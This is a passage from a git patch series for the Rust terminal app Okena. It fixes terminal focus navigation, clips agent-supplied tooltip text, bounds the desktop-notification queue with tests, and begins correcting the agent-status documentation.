+#                           carries the runtime `terminal_agent_status` instead.
+#   pending_agent_resumes — load-time only (`#[serde(skip)]`), consumed during
+#                           restore and never observable by a client.
+CAT2_IGNORE='^(version|service_panel_heights|hook_panel_heights|connection_id|is_remote|service_terminals|hidden_terminals|folder_collapsed|hidden_project_ids|os_bounds|project_layout|project_sort_mode|project_widths|show_attention_section|agent_sessions|pending_agent_resumes)$'
 
 cat2_hits=0
 for pair in "${PAIRS[@]}"; do

From 661143f0b4045c2b4d0d4fc9436319a8d4b1ff89 Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 17:17:36 +0200
Subject: [PATCH 12/16] fix(agent-status): route every jump through the
 revealing primitive
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`focus_terminal_by_id`'s doc claims it is "the one navigation operation
behind every 'jump to this terminal'", including remote focus requests. Two
call sites were not converted:

- `apply_remote_snapshot`'s focus targets — the "a phone created a terminal,
  focus it" flow — went through `set_focused_terminal`, which by its own doc
  is the click-an-already-visible-pane primitive and cannot reach an
  off-screen project. `RemoteFocusTarget` now carries the terminal id.
- The project switcher's Tab action picked its window on the hidden set
  alone (ignoring the folder filter and zoom/fullscreen) and focused by
  path. Zoomed into project A, switching to B moved focus while the zoom
  stayed on A; under fullscreen it overwrote the *fullscreened* terminal's
  layout_path with a path from another project. It also gave up entirely
  when no window had the project unhidden — now it falls back to the origin
  window and lets the reveal zoom it in.

`reveal_terminal`'s overview→zoom branch assigned `focused_project_id`
directly instead of going through the save/restore, so the None→Some
transition never captured `pre_zoom_focus`. Jump to a hidden project from
overview, zoom back out, and focus was stranded on the now-invisible project:
no focus ring, `focused_terminal_state()` lying, keystrokes going elsewhere.

Other UI fixes:

- The per-pane agent indicator only rendered inside a tab bar, so the common
  "one project, one pane, running an agent" case — a bare LayoutNode::Terminal
  — showed nothing. Tint the pane border like the bell does, excluding idle.
- Agent-supplied `custom` text was interpolated whole into two tooltips.
  4 KiB bounds memory, not layout, and the tooltip is the one surface with no
  ellipsis. Flatten and clip via a shared `display_snippet`.
- Sidebar Enter on a hook row was a silent no-op: hook terminals live outside
  the layout tree, so `focus_terminal_by_id`'s guard never matched. Mirror
  the mouse path and open the overlay.
- The mobile FFI sent `AgentLifecycle::label()` as the protocol token, which
  that method's own doc forbids. Add `token()`, use it at the boundary, and
  pin the wire values in a test so a display-label rename can't break the RN
  contract silently.
- Bound `pending_notifications`. The consumer spawns a thread per bubble and
  blocks it until dismissed; the queue had no cap, so ~22 bytes of pane
  output bought a thread. Cap at 32, drop-oldest, on the sink rather than on
  each emitter.
- Extract the AGENTS attention ordering into a testable free function — it
  is the contract docs/agent-status.md states, and nothing checked it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 crates/okena-app/src/app/extras.rs            | 46 +++++++----
 crates/okena-core/src/agent_status.rs         | 73 ++++++++++++++++-
 crates/okena-mobile-ffi/src/api/state.rs      |  4 +-
 .../src/terminal/osc_sidecar.rs               | 51 ++++++++----
 .../okena-terminal/src/terminal/tests/osc.rs  | 30 +++++++
 crates/okena-views-sidebar/src/agents_list.rs | 81 +++++++++++++++++--
 .../okena-views-sidebar/src/sidebar/cursor.rs | 36 ++++++---
 .../src/layout/tabs/mod.rs                    | 13 ++-
 .../src/layout/terminal_pane/render.rs        | 21 ++++-
 crates/okena-workspace/src/focus.rs           | 27 +++++++
 crates/okena-workspace/src/remote_apply.rs    |  7 ++
 crates/okena-workspace/src/state.rs           | 12 ++-
 12 files changed, 344 insertions(+), 57 deletions(-)

diff --git a/crates/okena-app/src/app/extras.rs b/crates/okena-app/src/app/extras.rs
index a3ebcb704..a961d5963 100644
--- a/crates/okena-app/src/app/extras.rs
+++ b/crates/okena-app/src/app/extras.rs
@@ -247,27 +247,42 @@ impl Okena {
         let workspace = self.workspace.clone();
 
         // The project must have a layout (i.e. at least one terminal) to enter.
-        let path = match workspace
+        let terminal_id = match workspace
             .read(cx)
             .project(project_id)
             .and_then(|p| p.layout.as_ref())
         {
-            Some(layout) => layout.find_visible_terminal_path(),
+            Some(layout) => {
+                let path = layout.find_visible_terminal_path();
+                match layout.get_at_path(&path) {
+                    Some(crate::workspace::state::LayoutNode::Terminal { terminal_id, .. }) => {
+                        match terminal_id.clone() {
+                            Some(id) => id,
+                            None => return,
+                        }
+                    }
+                    _ => return,
+                }
+            }
             None => return,
         };
 
-        // Choose the target window: the first one (origin-first) where the
-        // project is currently visible.
+        // Prefer a window that isn't hiding the project; otherwise fall back to
+        // the origin window and let the reveal below zoom it into view. (This
+        // used to give up here, and to focus by path — which cannot reach a
+        // project the window is currently zoomed or filtered away from.)
         let mut order = vec![origin, WindowId::Main];
         order.extend(self.extra_window_handles.keys().copied());
-        let target = order.into_iter().find(|wid| {
-            workspace
-                .read(cx)
-                .data()
-                .window(*wid)
-                .is_some_and(|w| !w.hidden_project_ids.contains(project_id))
-        });
-        let Some(target) = target else { return };
+        let target = order
+            .into_iter()
+            .find(|wid| {
+                workspace
+                    .read(cx)
+                    .data()
+                    .window(*wid)
+                    .is_some_and(|w| !w.hidden_project_ids.contains(project_id))
+            })
+            .unwrap_or(origin);
 
         // Resolve the target window's view + OS handle.
         let (view, handle) = match target {
@@ -285,12 +300,15 @@ impl Okena {
         // project (arrow/click switches only ensure visibility).
         view.update(cx, |v, _| v.request_center_on_next_navigation());
 
-        // Point that window's FocusManager at the first visible terminal.
+        // Point that window's FocusManager at the first visible terminal, via
+        // the one revealing primitive — so a zoomed or fullscreened window
+        // retargets onto the switch target instead of silently focusing a pane
+        // it isn't rendering.
         let focus_manager = view.read(cx).focus_manager();
         let pid = project_id.to_string();
         focus_manager.update(cx, |fm, cx| {
             workspace.update(cx, |ws, cx| {
-                ws.set_focused_terminal(fm, pid, path, cx);
+                ws.focus_terminal_by_id(fm, target, &pid, &terminal_id, cx);
             });
             cx.notify();
         });
diff --git a/crates/okena-core/src/agent_status.rs b/crates/okena-core/src/agent_status.rs
index 10a9986d6..959f80c5d 100644
--- a/crates/okena-core/src/agent_status.rs
+++ b/crates/okena-core/src/agent_status.rs
@@ -29,6 +29,40 @@ pub const MAX_LABEL_KEY_LEN: usize = 128;
 /// Max byte length of a single label value (over-long values are truncated).
 pub const MAX_LABEL_VALUE_LEN: usize = 1024;
 
+/// Max characters of agent-supplied text rendered inline in a tooltip or label.
+pub const MAX_DISPLAY_CHARS: usize = 120;
+
+/// One-line, bounded rendering of agent-supplied free-form text.
+///
+/// [`MAX_CUSTOM_LEN`] bounds what is *retained*, which is a memory question —
+/// it says nothing about what a tooltip can be asked to lay out. The text comes
+/// from any process that can write to the pane, so a 4 KiB single line, or one
+/// full of newlines and control characters, would otherwise be interpolated
+/// whole into an unbounded tooltip element. Collapse whitespace, drop control
+/// characters, and clip.
+pub fn display_snippet(text: &str) -> String {
+    let mut out = String::new();
+    let mut kept = 0usize;
+    let mut pending_space = false;
+    for ch in text.chars() {
+        if ch.is_control() || ch.is_whitespace() {
+            pending_space = !out.is_empty();
+            continue;
+        }
+        if kept >= MAX_DISPLAY_CHARS {
+            out.push('…');
+            break;
+        }
+        if pending_space {
+            out.push(' ');
+            pending_space = false;
+        }
+        out.push(ch);
+        kept += 1;
+    }
+    out
+}
+
 /// Lifecycle state an agent reports about itself.
 ///
 /// The token names match the `st=` values of the agent-status OSC (`clear` is
@@ -79,9 +113,26 @@ impl AgentLifecycle {
         matches!(self, Self::Blocked | Self::Done)
     }
 
+    /// The `st=` wire token for this lifecycle — the inverse of
+    /// [`from_token`](Self::from_token).
+    ///
+    /// Use this, never [`label`](Self::label), anywhere the value crosses a
+    /// protocol boundary (the OSC, the remote API, the mobile FFI). The two
+    /// currently produce the same strings, which is exactly why the distinction
+    /// has to be explicit: making `label` return "Needs input" would otherwise
+    /// silently change a contract with no compile error.
+    pub fn token(self) -> &'static str {
+        match self {
+            Self::Working => "working",
+            Self::Blocked => "blocked",
+            Self::Done => "done",
+            Self::Idle => "idle",
+        }
+    }
+
     /// Short human-readable label for this lifecycle (e.g. a tab tooltip).
-    /// Distinct from the `st=` wire token ([`from_token`]) even though they
-    /// currently coincide — one is for display, the other for the protocol.
+    /// Free to become real display text — see [`token`](Self::token) for the
+    /// protocol-facing value.
     pub fn label(self) -> &'static str {
         match self {
             Self::Working => "working",
@@ -207,6 +258,20 @@ pub fn parse_labels_json(json: &str) -> BTreeMap<String, String> {
 mod tests {
     use super::*;
 
+    #[test]
+    fn display_snippet_bounds_and_flattens_agent_text() {
+        assert_eq!(display_snippet("running tests 3/5"), "running tests 3/5");
+        // Newlines and control characters must not reach a tooltip.
+        assert_eq!(display_snippet("a\n\nb\tc\r\nd"), "a b c d");
+        assert_eq!(display_snippet("  leading and trailing  "), "leading and trailing");
+        // A 4 KiB single line is within `MAX_CUSTOM_LEN` but must still clip.
+        let long = "x".repeat(4096);
+        let clipped = display_snippet(&long);
+        assert_eq!(clipped.chars().count(), MAX_DISPLAY_CHARS + 1);
+        assert!(clipped.ends_with('…'));
+        assert_eq!(display_snippet(""), "");
+    }
+
     #[test]
     fn lifecycle_token_roundtrips() {
         for (tok, life) in [
@@ -216,6 +281,10 @@ mod tests {
             ("idle", AgentLifecycle::Idle),
         ] {
             assert_eq!(AgentLifecycle::from_token(tok), Some(life));
+            // Pins the wire values themselves: the mobile FFI and the RN UI
+            // match on these strings, so a rename here is a breaking change and
+            // must not be possible by editing the display label.
+            assert_eq!(life.token(), tok);
         }
         assert_eq!(AgentLifecycle::from_token("clear"), None);
         assert_eq!(AgentLifecycle::from_token("bogus"), None);
diff --git a/crates/okena-mobile-ffi/src/api/state.rs b/crates/okena-mobile-ffi/src/api/state.rs
index 0e5ae7646..647571a49 100644
--- a/crates/okena-mobile-ffi/src/api/state.rs
+++ b/crates/okena-mobile-ffi/src/api/state.rs
@@ -129,7 +129,9 @@ pub fn get_projects(conn_id: String) -> Vec<ProjectInfo> {
                         (
                             terminal_id.clone(),
                             AgentStatusInfo {
-                                lifecycle: status.lifecycle.label().to_string(),
+                                // `token()`, not `label()` — the RN UI matches on
+                                // these strings, so this is a protocol boundary.
+                                lifecycle: status.lifecycle.token().to_string(),
                                 custom: status.custom.clone(),
                             },
                         )
diff --git a/crates/okena-terminal/src/terminal/osc_sidecar.rs b/crates/okena-terminal/src/terminal/osc_sidecar.rs
index cdb8f9258..a35ff45a2 100644
--- a/crates/okena-terminal/src/terminal/osc_sidecar.rs
+++ b/crates/okena-terminal/src/terminal/osc_sidecar.rs
@@ -37,6 +37,15 @@ pub struct TerminalNotification {
 const OSC99_MAX_FIELD_LEN: usize = 4096;
 const OSC99_MAX_PENDING: usize = 32;
 
+/// Cap on notifications queued but not yet drained by the GPUI thread.
+///
+/// The consumer spawns a thread per bubble and, on XDG, blocks it until the
+/// bubble is dismissed or times out — with no bound of its own. A pane can
+/// queue one notification per ~22 bytes of output (`OSC 9`, or an agent status
+/// flipping blocked/done), so a single 256 KiB drain could ask for thousands of
+/// threads. Nobody can read more than a handful anyway; keep the newest.
+const MAX_PENDING_NOTIFICATIONS: usize = 32;
+
 /// Reassembly buffer for a chunked `OSC 99` notification keyed by its `i=` id.
 #[derive(Default)]
 struct Osc99Accumulator {
@@ -124,6 +133,22 @@ struct SidecarPerform {
 }
 
 impl SidecarPerform {
+    /// Queue a desktop notification, bounding the backlog.
+    ///
+    /// Every `OSC 9` / `OSC 777` / `OSC 99` / agent-status notification goes
+    /// through here so the cap lives on the sink rather than on each emitter —
+    /// otherwise every new emitter has to remember it, and the newest one
+    /// (agent status) is also the easiest to drive.
+    fn queue_notification(&self, notification: TerminalNotification) {
+        let mut queue = self.pending_notifications.lock();
+        if queue.len() >= MAX_PENDING_NOTIFICATIONS {
+            // Drop-oldest: a backlog this deep is a flood, and the most recent
+            // state is the one worth showing.
+            queue.remove(0);
+        }
+        queue.push(notification);
+    }
+
     /// Handle the kitty notification protocol: `OSC 99 ; metadata ; payload`.
     ///
     /// `metadata` is colon-separated `key=value` pairs (ASCII). We care about:
@@ -234,7 +259,7 @@ impl SidecarPerform {
         } else {
             return; // nothing to show
         };
-        self.pending_notifications.lock().push(notification);
+        self.queue_notification(notification);
     }
 
     /// Handle the ConEmu / Windows Terminal progress protocol
@@ -447,9 +472,7 @@ impl SidecarPerform {
             self.remote_dirty.store(true, Ordering::Relaxed);
         }
         if let Some(body) = notify_body {
-            self.pending_notifications
-                .lock()
-                .push(TerminalNotification { title: None, body });
+            self.queue_notification(TerminalNotification { title: None, body });
         }
     }
 
@@ -589,12 +612,10 @@ impl Perform for SidecarPerform {
                     .join(";");
                 let message = message.trim();
                 if !message.is_empty() {
-                    self.pending_notifications
-                        .lock()
-                        .push(TerminalNotification {
-                            title: None,
-                            body: message.to_string(),
-                        });
+                    self.queue_notification(TerminalNotification {
+                        title: None,
+                        body: message.to_string(),
+                    });
                 }
             }
             b"777" => {
@@ -620,12 +641,10 @@ impl Perform for SidecarPerform {
                     .join(";");
                 let body = body.trim();
                 if !body.is_empty() {
-                    self.pending_notifications
-                        .lock()
-                        .push(TerminalNotification {
-                            title: (!title.is_empty()).then(|| title.to_string()),
-                            body: body.to_string(),
-                        });
+                    self.queue_notification(TerminalNotification {
+                        title: (!title.is_empty()).then(|| title.to_string()),
+                        body: body.to_string(),
+                    });
                 }
             }
             b"99" => self.handle_osc99(params),
diff --git a/crates/okena-terminal/src/terminal/tests/osc.rs b/crates/okena-terminal/src/terminal/tests/osc.rs
index fa8100113..23764dd85 100644
--- a/crates/okena-terminal/src/terminal/tests/osc.rs
+++ b/crates/okena-terminal/src/terminal/tests/osc.rs
@@ -1884,3 +1884,33 @@ fn test_agent_status_valid_base64_of_invalid_utf8_drops_the_field() {
         "an undecodable msg falls back to the default body",
     );
 }
+
+#[test]
+fn test_pending_notifications_are_bounded() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // The consumer spawns a thread per bubble and blocks it until dismissed, so
+    // an unbounded queue turns ~22 bytes of pane output into a thread per
+    // notification. Keep the newest and drop the rest.
+    for i in 0..500 {
+        terminal.process_output(format!("\x1b]9;msg {i}\x07").as_bytes());
+    }
+
+    let pending = terminal.take_pending_notifications();
+    assert!(
+        pending.len() <= 32,
+        "queue grew unbounded: {} entries",
+        pending.len()
+    );
+    assert_eq!(
+        pending.last().map(|n| n.body.as_str()),
+        Some("msg 499"),
+        "the most recent notification must survive the flood"
+    );
+}
diff --git a/crates/okena-views-sidebar/src/agents_list.rs b/crates/okena-views-sidebar/src/agents_list.rs
index 2f2dbea62..decbd4737 100644
--- a/crates/okena-views-sidebar/src/agents_list.rs
+++ b/crates/okena-views-sidebar/src/agents_list.rs
@@ -25,6 +25,23 @@ struct SidebarAgentInfo {
     status: AgentStatus,
 }
 
+/// Order agent rows by attention — blocked, then done, then working, then idle
+/// — breaking ties on display name.
+///
+/// A free function rather than an inline `sort_by`, because this ordering is
+/// the contract `docs/agent-status.md` states, and `collect_agents` around it
+/// needs a GPUI view plus the terminal registry to call. Inverting the
+/// comparator would sink blocked agents to the bottom with nothing to notice.
+fn sort_agents_by_attention(agents: &mut [SidebarAgentInfo]) {
+    agents.sort_by(|a, b| {
+        b.status
+            .lifecycle
+            .priority()
+            .cmp(&a.status.lifecycle.priority())
+            .then_with(|| a.display_name.cmp(&b.display_name))
+    });
+}
+
 impl Sidebar {
     /// Render the AGENTS section (header + one row per active agent), or an
     /// empty element when no agent is reporting a status.
@@ -76,13 +93,7 @@ impl Sidebar {
                 });
             }
         }
-        agents.sort_by(|a, b| {
-            b.status
-                .lifecycle
-                .priority()
-                .cmp(&a.status.lifecycle.priority())
-                .then_with(|| a.display_name.cmp(&b.display_name))
-        });
+        sort_agents_by_attention(&mut agents);
         agents
     }
 
@@ -119,7 +130,14 @@ impl Sidebar {
         let dot_color = rgb(agent.status.lifecycle.theme_color(&t));
         let project_id = agent.project_id.clone();
         let terminal_id = agent.terminal_id.clone();
-        let custom = agent.status.custom.clone().filter(|c| !c.is_empty());
+        // Agent-supplied text: flattened and clipped before it reaches either
+        // line, since the tooltip has no ellipsis to save it.
+        let custom = agent
+            .status
+            .custom
+            .as_deref()
+            .map(okena_core::agent_status::display_snippet)
+            .filter(|c| !c.is_empty());
 
         // Two-line layout: the terminal title (usually the agent's task) on top,
         // the project — plus any free-form status the agent reports — muted
@@ -203,3 +221,50 @@ impl Sidebar {
             .tooltip(move |window, cx| Tooltip::new(tooltip.clone()).build(window, cx))
     }
 }
+
+#[cfg(test)]
+mod tests {
+    // Specific imports, not `use super::*` — this file has `use gpui::*`, whose
+    // `test` proc macro shadows std's `#[test]` (see okena-app/src/CLAUDE.md).
+    use super::{SidebarAgentInfo, sort_agents_by_attention};
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+
+    fn agent(name: &str, lifecycle: AgentLifecycle) -> SidebarAgentInfo {
+        SidebarAgentInfo {
+            terminal_id: format!("t-{name}"),
+            project_id: "p1".to_string(),
+            display_name: name.to_string(),
+            project_name: "proj".to_string(),
+            status: AgentStatus::new(lifecycle),
+        }
+    }
+
+    #[test]
+    fn agents_sort_by_attention_then_name() {
+        // The documented contract: blocked → done → working → idle. The section
+        // exists to surface what needs the user *now*, so an inverted comparator
+        // would be the exact opposite of useful.
+        let mut agents = vec![
+            agent("zeta", AgentLifecycle::Idle),
+            agent("beta", AgentLifecycle::Working),
+            agent("alpha", AgentLifecycle::Done),
+            agent("delta", AgentLifecycle::Blocked),
+            agent("charlie", AgentLifecycle::Blocked),
+        ];
+        sort_agents_by_attention(&mut agents);
+
+        let order: Vec<&str> = agents.iter().map(|a| a.display_name.as_str()).collect();
+        assert_eq!(order, vec!["charlie", "delta", "alpha", "beta", "zeta"]);
+    }
+
+    #[test]
+    fn agents_sort_is_stable_for_an_empty_or_single_list() {
+        let mut empty: Vec<SidebarAgentInfo> = Vec::new();
+        sort_agents_by_attention(&mut empty);
+        assert!(empty.is_empty());
+
+        let mut one = vec![agent("solo", AgentLifecycle::Working)];
+        sort_agents_by_attention(&mut one);
+        assert_eq!(one[0].display_name, "solo");
+    }
+}
diff --git a/crates/okena-views-sidebar/src/sidebar/cursor.rs b/crates/okena-views-sidebar/src/sidebar/cursor.rs
index d92cbf860..f0087f16b 100644
--- a/crates/okena-views-sidebar/src/sidebar/cursor.rs
+++ b/crates/okena-views-sidebar/src/sidebar/cursor.rs
@@ -523,13 +523,24 @@ impl Sidebar {
                 project_id,
                 terminal_id,
             } => {
-                let workspace = self.workspace.clone();
-                let window_id = self.window_id;
-                self.focus_manager.update(cx, |fm, cx| {
-                    workspace.update(cx, |ws, cx| {
-                        ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
-                    });
-                    cx.notify();
+                // Mirror the mouse path: hook terminals live in
+                // `ProjectData::hook_terminals`, outside the layout tree, so
+                // `focus_terminal_by_id` — whose whole body is guarded by
+                // `find_terminal_path` — could never match one and Enter here
+                // did nothing at all. The overlay is what a click opens.
+                self.request_broker.update(cx, |broker, cx| {
+                    broker.push_overlay_request(
+                        okena_workspace::requests::OverlayRequest::Project(
+                            okena_workspace::requests::ProjectOverlay {
+                                project_id: project_id.clone(),
+                                kind:
+                                    okena_workspace::requests::ProjectOverlayKind::ShowHookTerminal {
+                                        terminal_id: terminal_id.clone(),
+                                    },
+                            },
+                        ),
+                        cx,
+                    );
                 });
                 self.cursor_index = None;
                 if let Some(ref saved) = self.saved_focus {
@@ -627,9 +638,14 @@ impl Sidebar {
     ///
     /// `cursor_index` counts cursor-navigable rows, but the scroll container
     /// also holds non-navigable children (the leading drop zone, the opt-in
-    /// attention section, and — in the activity view — tier headers between
-    /// rows). `cursor_scroll_indices`, populated by the render path, maps the
-    /// cursor index to the actual scroll-child index for the current view.
+    /// attention section, the AGENTS section, the remote section, and — in the
+    /// activity view — tier headers between rows). `cursor_scroll_indices`,
+    /// populated by the render path, maps the cursor index to the actual
+    /// scroll-child index for the current view.
+    ///
+    /// The AGENTS and remote sections are appended *after* every navigable row,
+    /// which is the invariant that keeps this mapping append-only. Inserting a
+    /// non-navigable section anywhere earlier needs the mapping updated too.
     fn scroll_to_cursor(&self) {
         if let Some(idx) = self.cursor_index
             && let Some(&target) = self.cursor_scroll_indices.get(idx)
diff --git a/crates/okena-views-terminal/src/layout/tabs/mod.rs b/crates/okena-views-terminal/src/layout/tabs/mod.rs
index b73edff31..146975e24 100644
--- a/crates/okena-views-terminal/src/layout/tabs/mod.rs
+++ b/crates/okena-views-terminal/src/layout/tabs/mod.rs
@@ -412,9 +412,16 @@ impl<D: ActionDispatch + Send + Sync> LayoutContainer<D> {
             // and its free-form text shows in the tab tooltip.
             let agent_tooltip: Option<String> = agent_status.as_ref().map(|a| {
                 let life = a.lifecycle.label();
-                match a.custom.as_deref() {
-                    Some(c) if !c.is_empty() => format!("{life} · {c}"),
-                    _ => format!("agent {life}"),
+                // The text is agent-supplied and only byte-bounded, so flatten
+                // and clip it — the tooltip is the one surface with no ellipsis.
+                match a
+                    .custom
+                    .as_deref()
+                    .map(okena_core::agent_status::display_snippet)
+                    .filter(|c| !c.is_empty())
+                {
+                    Some(c) => format!("{life} · {c}"),
+                    None => format!("agent {life}"),
                 }
             });
 
diff --git a/crates/okena-views-terminal/src/layout/terminal_pane/render.rs b/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
index 1f11c208a..86dfb9181 100644
--- a/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
+++ b/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
@@ -101,13 +101,30 @@ impl<D: ActionDispatch + Send + Sync> Render for TerminalPane<D> {
                 .terminal
                 .as_ref()
                 .is_some_and(|t| t.is_waiting_for_input());
-        let show_border =
-            (is_focused && show_focused_border) || has_bell || has_notification || is_waiting;
+        // The tab bar carries the agent lifecycle, but a bare
+        // `LayoutNode::Terminal` — which is exactly what a new project is, and
+        // every leaf of a plain split — renders no tab bar at all, so the
+        // common "one project, one pane, running an agent" case showed nothing
+        // in the pane. Tint the border like the bell does. `Idle` is excluded:
+        // it is the resting state and would put a border on every such pane.
+        let agent_lifecycle = self
+            .terminal
+            .as_ref()
+            .and_then(|t| t.agent_status())
+            .map(|status| status.lifecycle)
+            .filter(|lifecycle| *lifecycle != okena_core::agent_status::AgentLifecycle::Idle);
+        let show_border = (is_focused && show_focused_border)
+            || has_bell
+            || has_notification
+            || is_waiting
+            || agent_lifecycle.is_some();
         // OSC 9/777 notifications share the bell's attention color.
         let border_color = if is_focused && show_focused_border {
             rgb(t.border_focused)
         } else if has_bell || has_notification {
             rgb(t.border_bell)
+        } else if let Some(lifecycle) = agent_lifecycle {
+            rgb(lifecycle.theme_color(&t))
         } else {
             rgb(t.border_idle)
         };
diff --git a/crates/okena-workspace/src/focus.rs b/crates/okena-workspace/src/focus.rs
index 2199a554b..77ea89fda 100644
--- a/crates/okena-workspace/src/focus.rs
+++ b/crates/okena-workspace/src/focus.rs
@@ -307,6 +307,13 @@ impl FocusManager {
             // Zooming is the narrowest way to make it reachable; leaving the
             // hidden set / folder filter alone means the user's view returns to
             // exactly what it was when they zoom back out.
+            //
+            // This is a None→Some zoom transition, so it must save the pre-zoom
+            // focus like every other one — otherwise zooming back out leaves
+            // focus stranded on the revealed (now invisible) project: no pane
+            // renders a focus ring, `focused_terminal_state()` lies, and
+            // keystrokes go to whatever GPUI handle was focused before.
+            self.apply_zoom_focus_save_restore(&Some(project_id.clone()));
             self.focused_project_id = Some(project_id.clone());
             self.focus_project_individual = false;
         }
@@ -743,6 +750,26 @@ mod tests {
         assert_eq!(state.layout_path, vec![1]);
     }
 
+    #[test]
+    fn reveal_terminal_offscreen_from_overview_restores_focus_on_zoom_out() {
+        // Revealing an off-screen project from overview zooms into it. That is a
+        // None→Some zoom transition like any other, so zooming back out must
+        // return focus to where the user was — otherwise focus is stranded on a
+        // project that is no longer rendered.
+        let mut fm = FocusManager::new();
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj2".to_string(), vec![1], "term2".to_string(), true);
+        assert_eq!(fm.focused_project_id().map(String::as_str), Some("proj2"));
+        assert_eq!(fm.focused_terminal_state().unwrap().project_id, "proj2");
+
+        fm.set_focused_project_id(None);
+        assert_eq!(fm.focused_project_id(), None);
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj1");
+        assert_eq!(state.layout_path, vec![0]);
+    }
+
     #[test]
     fn reveal_terminal_zoomed_same_project_updates_focus() {
         // Revealing another terminal within the already-zoomed project keeps the
diff --git a/crates/okena-workspace/src/remote_apply.rs b/crates/okena-workspace/src/remote_apply.rs
index f98fbc163..b6cfde676 100644
--- a/crates/okena-workspace/src/remote_apply.rs
+++ b/crates/okena-workspace/src/remote_apply.rs
@@ -32,10 +32,16 @@ pub struct RemoteSnapshot {
 
 /// A terminal that should be focused after the sync, identified by the project
 /// it lives in and the layout path to reach it.
+///
+/// Carries the terminal id as well as the path so the caller can go through
+/// `focus_terminal_by_id` — a project created from a phone may be hidden or
+/// outside this window's folder filter, and focusing it by path alone would
+/// apply focus to a pane that renders nowhere.
 #[derive(Clone, Debug, PartialEq)]
 pub struct RemoteFocusTarget {
     pub project_id: String,
     pub layout_path: Vec<usize>,
+    pub terminal_id: String,
 }
 
 /// Result of applying a set of remote snapshots to the workspace data.
@@ -444,6 +450,7 @@ pub fn apply_remote_snapshot(
             outcome.focus_targets.push(RemoteFocusTarget {
                 project_id: pid.clone(),
                 layout_path: path,
+                terminal_id: new_tid.clone(),
             });
         }
     }
diff --git a/crates/okena-workspace/src/state.rs b/crates/okena-workspace/src/state.rs
index 6ffc66d30..3b6df3f35 100644
--- a/crates/okena-workspace/src/state.rs
+++ b/crates/okena-workspace/src/state.rs
@@ -2189,8 +2189,18 @@ impl Workspace {
             .collect();
         self.lifecycle.retain_closing(&still_closing);
 
+        // Through the revealing primitive, not `set_focused_terminal`: the
+        // terminal was created from another client, and its project may be in
+        // this window's hidden set or outside its folder filter — in which case
+        // focusing by path alone lands on a pane that renders nowhere.
         for target in outcome.focus_targets {
-            self.set_focused_terminal(focus_manager, target.project_id, target.layout_path, cx);
+            self.focus_terminal_by_id(
+                focus_manager,
+                window_id,
+                &target.project_id,
+                &target.terminal_id,
+                cx,
+            );
         }
 
         // Notify UI without bumping data_version (remote changes shouldn't trigger auto-save)

From eddbd4edb0ca59f462ccb121e7dbba6aba5a35ad Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 17:28:33 +0200
Subject: [PATCH 13/16] docs(agent-status): correct what the docs promise and
 surface the setting
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The protocol doc was accurate on mechanically-checkable details but wrong or
silent on several things a user would act on:

- The manual (no-plugin) hook recipe omitted `OKENA_AGENT`, which the capture
  hard-requires. Following it gave you the indicator and silently no session,
  no persistence and no resume — while the same document's entire "Session
  resume" section describes behaviour you would never get.
- `auto_resume_agent_sessions` was named but never located. It was absent
  from docs/configuration.md — the exhaustive settings reference, which
  documents its sibling `session_backend` — and had no UI, so the only way to
  enable a shipped opt-in feature was to read Rust and hand-edit JSON. Added
  to both, plus a toggle next to the session backend.
- The device guidance said to prefer `/dev/tty`, which is wrong under
  tmux/screen; it also contradicted itself further down.
- `enabledPlugins` was presented as an *alternative* to adding the
  marketplace, which leaves `@okena` unresolvable.
- `labels` were documented as "rendered verbatim". Nothing renders them.
- Codex read as supported; it is a registration-only stub with no capture glue.
- No platform caveat, though the whole path is `#!/bin/sh` + `/dev/tty` and
  `$OKENA_TTY` is Unix-only — a Windows user gets a silent no-op and a
  Debugging section that points at the wrong cause.
- Nothing said that a stale status never expires, that the resume record is
  "the last agent session this pane ever ran" rather than "what was running
  at shutdown", or that a notification is only raised by the client that
  parsed the transition live.
- `$OKENA_TTY` was framed purely as a correctness fallback; documented the
  reopen-by-recycled-path risk it also carries.

Also: README's docs index didn't list agent-status.md at all; docs/hooks.md
still scoped `OKENA_TERMINAL_ID` to `terminal.on_close` and never mentioned
`OKENA_TTY`, though both are now exported into every pane; and docs/remote.md
had no `terminal_agent_status` despite being the page agent-status.md points
readers at for it.

Tests: the three `forget_agent_session` call sites (hard close, close-many,
shell switch) had no coverage — the file had no test module at all, and the
docs promise those drops.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 README.md                                     |   1 +
 crates/okena-app-core/src/settings.rs         |   5 +
 .../src/workspace/actions/execute/mod.rs      |  75 ++++++++
 .../settings_panel/render_terminal.rs         |  11 ++
 docs/agent-status.md                          | 168 +++++++++++++-----
 docs/configuration.md                         |   2 +
 docs/hooks.md                                 |  16 +-
 docs/remote.md                                |  11 +-
 8 files changed, 246 insertions(+), 43 deletions(-)

diff --git a/README.md b/README.md
index 3036d19d5..e4e51900b 100644
--- a/README.md
+++ b/README.md
@@ -190,6 +190,7 @@ Settings are stored in the platform's config directory (macOS: `~/Library/Applic
 | Guide | Description |
 |-------|-------------|
 | [Configuration](docs/configuration.md) | Settings, keybindings, custom themes, per-project overrides |
+| [Agent Status](docs/agent-status.md) | OSC 9001 agent lifecycle, the Claude Code plugin, session resume |
 | [Lifecycle Hooks](docs/hooks.md) | Hook terminals, git hooks, environment variables |
 | [Project Services](docs/services.md) | okena.yaml, Docker Compose integration, auto-restart |
